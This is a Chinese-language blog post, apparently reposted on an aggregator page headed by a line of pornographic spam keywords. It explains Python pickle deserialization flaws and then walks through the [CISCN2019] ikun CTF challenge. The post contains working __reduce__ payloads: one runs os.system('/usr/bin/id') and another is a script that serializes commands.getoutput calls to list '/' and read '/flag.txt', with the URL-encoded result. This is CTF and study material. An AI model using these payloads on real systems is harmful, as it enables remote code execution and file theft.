日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

Python Pickle反序列化漏洞

發布時間:2024/9/30 python 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python Pickle反序列化漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

刷題的時候做了一道[CISCN2019]ikun的題目,提示考察的知識點是Python Pickle,之前接觸的都是有關PHP反序列化,這次就來好好學習一下Python Pickle反序列化漏洞。

基礎知識

0x00:Pickle/CPickle

pickle或cPickle,作用和PHP的serialize與unserialize一樣,兩者只是實現的語言不同,一個是純Python實現、另一個是C實現,函數調用基本相同,但cPickle庫的性能更好,之后就以pickle庫來進行演示。

0x01:Pickle庫及函數

pickle是python語言的一個標準模塊,實現了基本的數據序列化和反序列化。
pickle模塊是以二進制的形式序列化后保存到文件中(保存文件的后綴為.pkl),不能直接打開進行預覽。

函數說明
dumps對象反序列化為bytes對象
dump對象反序列化到文件對象,存入文件
loads從bytes對象反序列化
load對象反序列化,從文件中讀取數據

先通過幾個例子來看下這幾個函數的作用:

dump/load

#序列化 pickle.dump(obj, file, protocol=None,) obj表示要進行封裝的對象(必填參數) file表示obj要寫入的文件對象 以二進制可寫模式打開即wb(必填參數) #反序列化 pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None) file文件中讀取封存后的對象 以二進制可讀模式打開即rb(必填參數)

(模仿Epicccal師傅的例子)

dumps/loads

#序列化 pickle.dumps(obj, protocol=None,*,fix_imports=True) dumps()方法不需要寫入文件中,直接返回一個序列化的bytes對象。 #反序列化 pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict") loads()方法是直接從bytes對象中讀取序列化的信息,而非從文件中讀取。

在python2中以字符串的形式進行轉換時,這些序列化的字符串是什么意思,又按照什么規則生成的,這就涉及到了PVM,因為它是Python序列化過程和反序列化過程中最根本的東西。

0x02:PVM的作用

對于Python而言,它可以直接從源代碼運行程序。Python解釋器會將源代碼編譯為字節碼,然后將編譯后的字節碼轉發到Python虛擬機中執行。總的來說,PVM的作用便是用來解釋字節碼的解釋引擎。

0x03:PVM的執行流程

當運行Python程序時,PVM會執行兩個步驟。

  • PVM會把源代碼編譯成字節碼
  • 字節碼是Python特有的一種表現形式,不是二進制機器碼,需要進一步編譯才能被機器執行 . 如果 Python 進程在主機上有寫入權限 , 那么它會把程序字節碼保存為一個以 .pyc 為擴展名的文件 . 如果沒有寫入權限 , 則 Python 進程會在內存中生成字節碼 , 在程序執行結束后被自動丟棄 .

  • Python進程會把編譯好的字節碼轉發到PVM(Python虛擬機)中,PVM會循環迭代執行字節碼指令,直到所有操作被完成。
  • 0x04:PVM與Pickle模塊的關系

    Pickle是一門基于棧的編程語言 , 有不同的編寫方式 , 其本質就是一個輕量級的 PVM .

    這個輕量級的PVM由三部分組成及其功能如下:

    • 指令處理器( Instruction processor )

    從數據流中讀取操作碼和參數 , 并對其進行解釋處理 . 指令處理器會循環執行這個過程 , 不斷改變 stack 和 memo 區域的值 .直到遇到 . 這個結束符號 。這時 , 最終停留在棧頂的的值將會被作為反序列化對象返回 。

    • 棧區( stack )

    由 Python 的列表( list )實現 , 作為流數據處理過程中的暫存區 , 在不斷的進出棧過程中完成對數據流的反序列化操作,并最終在棧頂生成反序列化的結果

    • 標簽區( memo )

    由 Python 的字典( dict )實現 , 可以看作是數據索引或者標記 , 為 PVM 的整個生命周期提供存儲功能 .簡單來說就是將反序列化完成的數據以 key-value 的形式儲存在memo中,以便使用。

    需要重點關注一下指令處理器可讀的操作碼,列出幾個比較重要的:

  • c : 讀取本行的內容作為模塊名module, 讀取下一行的內容作為對象名object,然后將 module.object 作為可調用對象壓入到棧中
  • ( : 將一個標記對象壓入到棧中 , 用于確定命令執行的位置 . 該標記常常搭配 t 指令一起使用 , 以便產生一個元組
  • S : 后面跟字符串 , PVM會讀取引號中的內容 , 直到遇見換行符 , 然后將讀取到的內容壓入到棧中
  • t : 從棧中不斷彈出數據 , 彈射順序與壓棧時相同 , 直到彈出左括號 . 此時彈出的內容形成了一個元組 , 然后 , 該元組會被壓入棧中
  • R : 將之前壓入棧中的元組和可調用對象全部彈出 , 然后將該元組作為可調用參數的對象并執行該對象 。最后將結果壓入到棧中
  • . : 結束整個 Pickle 反序列化過程
  • 這六個符號便是在Pickle序列化時最常用到的操作碼,可以結合下hachp1師傅做的動圖理解下

    反序列化分析

    就結合上面所舉的例子進行分析:

    整個序列化的過程可以分為三個步驟

  • 從對象中提權所有屬性
  • 寫入對象的所有模塊名和類名
  • 寫入對象所有屬性的鍵值對
  • 反序列化的過程就是序列化過程的逆過程。

    0x06:Pickle/CPickle反序列化漏洞分析

    反序列化漏洞出現在 __reduce__()魔法函數上,這一點和PHP中的__wakeup() 魔術方法類似,都是因為每當反序列化過程開始或者結束時 , 都會自動調用這類函數。而這恰好是反序列化漏洞經常出現的地方。

    而且在反序列化過程中,因為編程語言需要根據反序列化字符串去解析出自己獨特的語言數據結構,所以就必須要在內部把解析出來的結構去執行一下。如果在反序列化過程中出現問題,便可能直接造成RCE漏洞.

    另外pickle.loads會解決import 問題,對于未引入的module會自動嘗試import。那么也就是說整個python標準庫的代碼執行、命令執行函數都可以進行使用。

    最后還是來看一下這個魔法函數

    __reduce__()

    官方文檔如下:

    當 __reduce__() 函數返回一個元組時 , 第一個元素是一個可調用對象 , 這個對象會在創建對象時被調用 . 第二個元素是可調用對象的參數 , 同樣是一個元組。這點跟我們上面提到的PVM中的R操作碼功能相似,可以對比下:

    將之前壓入棧中的元組和可調用對象全部彈出 , 然后將該元組作為可調用參數的對象并執行該對象 。最后將結果壓入到棧中

    事實上 , R操作碼就是 __reduce__() 魔術函數的底層實現 . 而在反序列化過程結束的時候 , Python 進程會自動調用 __reduce__() 魔術方法 . 如果可以控制被調用函數的參數 , Python 進程就可以執行惡意代碼 .

    注意:

    在python2中只有內置類才有__reduce__方法,即用class A(object)聲明的類,而python3中已經默認都是內置類了

    0x06:反序列化漏洞利用

    漏洞可能出現的位置:

  • 解析認證token、session的時候
  • 將對象Pickle后存儲成磁盤文件
  • 將對象Pickle后在網絡中傳輸
  • 參數傳遞給程序
  • 命令執行

    #模仿Epicccal師傅的例子 import pickle import osclass Test2(object):def __reduce__(self):#被調用函數的參數cmd = "/usr/bin/id" return (os.system,(cmd,))if __name__ == "__main__":test = Test2()#執行序列化操作result1 = pickle.dumps(test)#執行反序列化操作result2 = pickle.loads(result1)# __reduce__()魔法方法的返回值: # return(os.system,(cmd,)) # 1.滿足返回一個元組,元組中有兩個參數 # 2.第一個參數是被調用函數 : os.system() # 3.第二個參數是一個元組:(cmd,),元組中被調用的參數 cmd # 4. 因此序列化時被解析執行的代碼是 os.system("/usr/bin/id")

    題目訓練

    0x00:[CISCN2019 華北賽區 Day1 Web2]ikun

    前面的步驟就不再詳細描述了,這里直接從Pickle反序列化漏洞入手

    在settings.py文件中發現提示,unicode解碼一下


    觀察源碼發現后門在Admin.py中

    self.render('form.html', res=p, member=1) 這段代碼的意思就是找到模板文件,進行渲染,從而顯示頁面

    來觀察一下form.html頁面

    說明傳入的是可以直接進行回顯的,而且可以將自定義的類進行序列化和反序列化,因此存在Pickle反序列化漏洞,那我們就可以構造一個通過pickle.dumps序列化的payload,從而被解析讀取flag或其他信息。

    構造payload可以使用方法__reduce__(self),先要獲取的flag文件的位置,然后進行讀取

    但需要注意幾點:

    #os.system和os.popen os.system 調用系統命令,完成后退出,返回結果是命令執行狀態,一般是0 os.popen() 無法讀取程序執行的返回值

    這兩個函數只有以print輸出時才會回顯,如果是以return返回的就不會顯示結果。

    查了資料發現

    可以使用commands.getoutput()這個函數來進行代替,構造payload

    # coding=utf8 import pickle import urllib import commandsclass payload(object):def __reduce__(self):return (commands.getoutput,('ls /',))a = payload() print urllib.quote(pickle.dumps(a)) #ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.


    發現flag.txt文件,那接下來就讀取即可

    return (commands.getoutput,('cat /flag.txt',))


    但很多時候需要一次執行多個函數或一次進行多個指令,就不能光用 __reduce__
    來解決問題,reduce一次只能執行一個函數,當exec被禁用時,就不能一次執行多條指令了。

    參考博客

    膜Epicccal師傅,原理寫的太詳細了,膜
    https://blog.csdn.net/u013008795/article/details/89790828
    https://xz.aliyun.com/t/7436#toc-5
    https://www.guildhab.top/?p=2178
    https://www.cnblogs.com/jefree/p/4461979.html
    LetheSec

    總結

    以上是生活随笔為你收集整理的Python Pickle反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。